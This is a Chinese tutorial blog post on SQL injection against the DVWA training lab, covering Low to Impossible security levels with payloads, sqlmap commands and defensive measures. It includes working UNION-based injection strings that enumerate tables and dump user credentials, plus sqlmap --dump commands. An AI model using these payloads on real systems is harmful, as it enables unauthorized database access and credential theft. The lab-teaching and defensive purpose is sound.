DVWA SQL Injection 漏洞分析与利用

前言

Level: Low

漏洞分析

复现步骤

防御措施

Level: Medium

漏洞分析

mysql_real_escape_string()核心作用

示例对比

复现步骤

防御措施

Level: High

漏洞分析

复现步骤

防御措施

Level: Impossible

安全措施分析

防护要点

测试验证

自动化工具使用(SQLmap演示)

总结与防御建议

SQL注入防御矩阵

全面防御策略

前言

SQL注入是最常见且危险的Web安全漏洞之一,它允许攻击者通过构造恶意SQL查询来操纵后端数据库。本文将通过DVWA(Damn Vulnerable Web Application)平台,详细演示从低级到高级的SQL注入攻击技术,并提供相应的防御措施。

Level: Low

漏洞分析

低级安全级别没有任何防护措施,直接拼接用户输入到SQL查询中。

$id = $_REQUEST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

复现步骤

  1. 访问DVWA,设置安全级别为Low,进入SQL Injection页面

  2. 正常输入1,查看返回结果

  3. 尝试注入1' or '1'='1,获取所有用户信息

  4. 确定列数(使用ORDER BY,二分法):

    1' ORDER BY 5-- 
    1' ORDER BY 3--
    1' ORDER BY 2--  // 正常说明只有2列
  5. 联合查询获取数据库信息:

    1' UNION SELECT 1,database()-- 
  6. 获取表名:

    1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- 
  7. 获取users表的列名:

1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- 

  8.获取用户名和密码:

1' UNION SELECT group_concat(user), group_concat(password) FROM users-- 

md5解密:5f4dcc3b5aa765d61d8327deb882cf99,password

防御措施

  • 使用预处理语句(PDO/mysqli)

  • 对输入进行严格过滤


Level: Medium

漏洞分析

中级使用mysql_real_escape_string()转义输入,但使用数字型查询且未进行类型检查。

$id = $_POST['id'];
$id = mysql_real_escape_string($id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

mysql_real_escape_string()核心作用

  1. 转义特殊字符:将单引号 ' 转为 \',双引号 " 转为 \",反斜杠 \ 转为 \\ 等。

  2. 防止 SQL 注入:通过转义使特殊字符失去语法意义,确保用户输入作为数据而非 SQL 代码执行。

示例对比

未转义的危险示例

$username = $_POST['username'];
$sql = "SELECT * FROM users WHERE username = '$username'";
// 若用户输入 username = "admin' OR '1'='1"
// 最终SQL变为:SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// 导致无条件全量查询,数据泄露

转义后的安全示例

$username = mysql_real_escape_string($_POST['username']);
$sql = "SELECT * FROM users WHERE username = '$username'";
// 若用户输入同上,转义后变为:admin\' OR \'1\'=\'1
// 最终SQL:SELECT * FROM users WHERE username = 'admin\' OR \'1\'=\'1'
// 此时单引号被转义,作为普通字符处理,查询条件保持原意

复现步骤

1.设置安全级别为Medium

2.使用Burp Suite拦截POST请求

  3.修改id参数为1 OR 1=1(不需要单引号)

        id=1+OR+1=1&Submit=Submit


  4.获取数据库信息:

        id=1 UNION SELECT 1,database()&Submit=Submit

 5.后续步骤与Low级别类似,但不需要处理单引号转义

防御措施

  • 使用参数化查询

  • 强制类型转换:$id = (int)$_POST['id'];


Level: High

漏洞分析

高级别使用单引号包裹输入并转义,但存在第二个注入点(LIMIT子句)。

$id = $_SESSION['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

复现步骤

  1. 设置安全级别为High

  2. 点击"Link 1"打开新页面

  3. 注入1' UNION SELECT 1,database()#(注意使用#注释)

     4.获取表信息:

1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#

     5.由于LIMIT 1限制,使用group_concat聚合结果

防御措施

  • 完全避免动态SQL

  • 使用存储过程

  • 严格的输入验证


Level: Impossible

安全措施分析

不可能级别采用了完善的防护措施:

$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();

防护要点

  1. 使用PDO预处理语句

  2. 参数绑定

  3. 强制类型为INT

  4. LIMIT 1限制返回结果

测试验证

尝试任何注入攻击都无法成功,输入被严格限制为数字。


自动化工具使用(SQLmap演示)

  1. 使用Burp Suite捕获请求并保存为txt文件

  2. 运行SQLmap:

        sqlmap.py -r request.txt --batch --dbs

     3.获取当前数据库表:

        sqlmap.py -r request.txt --batch -D dvwa --tables

     4.导出users表数据:

        sqlmap.py -r request.txt --batch -D dvwa -T users --dump


总结与防御建议

SQL注入防御矩阵

防御措施有效性实现难度说明
输入验证白名单优于黑名单
预处理语句最佳实践
存储过程需安全编码
ORM框架需正确配置
WAF可作为补充防御

全面防御策略

  1. 开发阶段

    • 使用参数化查询

    • 实施最小权限原则

    • 进行安全编码培训

  2. 测试阶段

    • 静态代码分析

    • 动态渗透测试

    • 自动化扫描工具

  3. 运行阶段

    • Web应用防火墙(WAF)

    • 定期漏洞扫描

    • 数据库活动监控

推荐阅读:【SQL知识】PDO 和 MySQLi 的区别-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/87338.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/87338.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RabbitMQ:消息队列的轻量级王者

🚀 一句话定位 RabbitMQ是分布式系统的"消息快递员",负责在系统间可靠传递信息,让服务解耦更高效。 🌟 核心应用场景 1. 异步解耦 场景:用户注册后发短信/邮件 用法:注册服务发消息 → Rabbit…

Android系统默认赋予浏览器权限以及Android恶意覆盖导致谷歌浏览器授权失败的解决办法

Android系统默认赋予浏览器权限以及Android恶意覆盖导致谷歌浏览器授权失败的解决办法 一、Android系统默认赋予浏览器权限 只要是设计到默认赋权,就在framework下找这个类:base/services/core/java/com/android/server/pm/permission/DefaultPermissi…

矩阵的秩 线性代数

定义和求法 关于秩的几个重要式子 例题 给出秩,那我们就有三个知识点,一个是用定义,一个是用求法,一个是重要式子。 题目没什么好翻译的,基本就是赤裸裸的跟你坦白了直说了。 接下来就是解法了。用定义的话就是说这个…

【大模型】基于MCP的mysql 服务构建及使用(python语言)

前言 ​ 在之前使用dify来编排AI智能体,有这样的一个场景,希望智能体能自动读取数据库数据,获得统计数据(问数),最终生成报告。 ​ 当时实现思路是,通过知识库告诉大模型相关表的字段定义&…

OA退位,如何打造安全便捷的跨网文件传输与即时通讯平台?

随着医院信息化建设深入推进,OA 系统在日常流程审批和文件流转中扮演着不可或缺的角色。然而,面对“内网⇄外网”强隔离的安全要求,OA 在跨域传输上仍然存在审批延迟、人工干预、病毒风险等痛点。 一、OA 在跨网传输中的 “ 最后一公里 ” 难…

LlamaIndex的多轮对话引擎使用说明

一、背景 LlamaIndex提供2种交互引擎:查询引擎和聊天引擎。(详情请看这里)查询引擎默认没有上下文信息,也就是说默认是单轮对话。 在RAG系统中,单轮对话/单次查询的场景较少,而多轮对话则是最常见的场景&…

【CSS-14.1-全局样式表common.css】构建高效可维护的 common.css:现代前端CSS架构指南

在前端开发中,CSS管理一直是项目可维护性的关键挑战。据统计,约35%的样式问题源于缺乏统一的CSS架构规范。common.css(或称全局样式表)作为项目的基础样式层,能够有效解决以下问题: 样式碎片化&#xff1a…

laravel基础:php artisan make:model Flight --all 详解

在 Laravel 中执行命令: php artisan make:model Flight --all这个命令会为你创建与模型 Flight 相关的一整套文件结构。Laravel 的 Artisan 命令行工具是一个强大的代码生成器,可以帮助你快速生成常见的应用组件。我们来详细解析一下这个命令的各个部分以及它产生的效果。 …

poi java 删除word的空白页

开发的时候遇到的问题,特此记录一下 使用Apache POI(Java库)删除Word文档中的空白页时,需针对不同场景处理。以下是具体实现方法和代码示例: 基础删除(段落/分页符)‌ 通过删除多余段落标记或…

获取Android应用日志教程

ADB,全称为Android Debug Bridge,是Android开发中一个重要的命令行工具。它用于与Android设备进行通信,提供了多种功能来帮助开发者进行调试和应用管理。 一、环境准备 1.PC下载附件中的安装包。 2.在设备上启用开发者选项和 USB 调试 在安卓…

【Axum】Rust Web 高效构建:Axum 框架从入门到精通指南

目录 一、环境准备与项目创建1.1 安装 Rust 工具链1.2 创建项目并添加依赖 二、Axum 核心架构解析三、项目结构设计四、核心代码实现4.1 应用入口 (src/main.rs)4.2 数据模型 (src/models.rs)4.3 路由配置 (src/routes.rs)4.4 认证服务 (src/services/auth.rs)4.5 用户处理器 (…

康谋分享 | 基于多传感器数据的自动驾驶仿真确定性验证

目录 01 引言 02 随机性的前因与后果 03 确定性的验证——以aiSim为例 1、传感器选型与配置 2、场景与方法 3、验证结果 04 总结 01 引言 随着自动驾驶技术的飞速发展,仿真测试已成为替代成本高昂且充满风险的道路测试的关键环节。它能够在虚拟环境中模拟…

FASTAPI+VUE3平价商贸管理系统

一、项目概述 PJMall 是一个基于 FastAPI 构建的商城管理系统后端服务,提供商品管理、订单处理、用户认证等核心功能。系统采用分层架构设计,支持高并发访问,适用于多角色用户(管理员、客户、供应商)。 核心特性 &a…

客服机器人知识库怎么搭?智能客服机器人3种方案深度对比(含零售落地案例)

一、知识库技术缺陷的权威数据 IDC 2025报告:89%企业因知识库更新延迟导致智能客服机器人解决率下降40%,传统规则引擎日均失效对话超2000次。 二、三大技术方案架构解析 1.LLM动态知识图谱方案 基于Transformer架构实时抓取政策/价格数据 知识关联度…

JavaScript 性能优化实战:减少 DOM 操作引发的重排与重绘

在前端开发中,DOM 操作是 JavaScript 性能优化的核心痛点之一。频繁的 DOM 操作会触发浏览器的 重排(Reflow) 和 重绘(Repaint),导致性能显著下降。本文将深入分析这一瓶颈,并通过实际案例展示优…

力扣 hot100 Day33

24. 两两交换链表中的节点 给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换)。 //抄的 class Solution { public:ListNode* swapP…

DevExpress V25.1 版本更新,开启控件AI新时代

WinForms Controls v25.1 AI 驱动的语义搜索 我们的 WinForms 数据网格、GridLookUpEdit 和 SearchLookUpEdit 控件具有增强的搜索体验,使用户能够更快/更准确地在大型数据集中查找相关数据。与基于关键字的标准搜索不同,语义搜索利用自然语言处理 &…

【分层图 虚拟节点】 P11327 [NOISG 2022 Finals] Voting Cities|普及+

本文涉及知识点 C图论 P11327 [NOISG 2022 Finals] Voting Cities 题目描述 你所在的国家的国家主席 L o r d P o o t y \bf{Lord\ Pooty} Lord Pooty 将要退休了!他希望选择他的一个儿子作为他的继承人,出于各方面因素的考虑,他决定进行…

Web3云服务商安全性怎么选

Web3安全之锚:为何阿里云是企业级应用的首选​ 随着Web3、去中心化金融(DeFi)和数字资产的浪潮席卷全球,无数开发者和企业涌入这个充满机遇的新赛道。然而,机遇背后是同样巨大的安全挑战。从智能合约漏洞到大规模DDoS…

uniapp加上全局水印

文章目录 一、效果图二、创建watermark.js文件三、在main.js中引入四、运行 前言:uniapp页面加水印你还在傻乎乎的一个个页面加吗,今天教你一招,一步到位 一、效果图 未登录效果 登录后效果 二、创建watermark.js文件 这里的水印因为我…